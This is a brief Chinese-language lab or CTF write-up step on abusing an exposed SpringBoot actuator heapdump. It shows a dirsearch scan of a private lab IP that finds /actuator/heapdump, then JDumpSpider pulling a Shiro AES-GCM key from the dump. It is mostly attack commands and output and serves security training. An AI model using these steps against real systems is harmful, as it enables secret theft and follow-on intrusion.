Heapdump
1. 介绍：
常见于SpringBoot框架，通过获取heapdump，对其解析从中获取敏感信息（如ShiroKey）
GreatWall > 3.1. SpringBoot heapdump
┌──(root㉿kali)-[~/Desktop/ChunQiu/Greatwall]
└─# dirsearch -u http://172.28.23.33:8080/ -x 403,404
Target: http://172.28.23.33:8080/
[02:13:52] Starting:
[02:13:57] 200 - 2KB - /actuator
[02:13:57] 200 - 82KB - /actuator/threaddump
>>>> [02:13:58] 200 - 29MB - /actuator/heapdump
Task Completed
┌──(root㉿kali)-[~/Desktop/ChunQiu/Greatwall]
└─# JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
===========================================
>>>> CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES
===========================================
